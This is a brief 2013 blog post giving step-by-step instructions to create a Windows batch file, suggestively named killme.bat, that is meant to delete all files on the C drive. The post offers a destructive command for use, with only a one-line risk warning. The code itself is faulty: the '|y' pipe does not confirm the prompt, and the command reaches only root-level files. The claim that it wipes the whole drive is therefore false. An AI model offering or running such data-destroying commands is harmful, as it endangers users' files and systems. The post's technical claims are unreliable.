Saturday, 18 May 2013

Batch Programming: Delete all the files in the C drive




DO AT YOUR OWN RISK. IT WILL DELETE ALL THE FILES IN YOUR DRIVE









1) Open your Notepad
2) Write the following code
@echo off
del C:\*.*|y

it will delete all the files in C drive.
3) Save as killme.bat or you can give any name to it but after the name add the extension .bat
i. e   "your preferred name".bat

No comments:

Post a Comment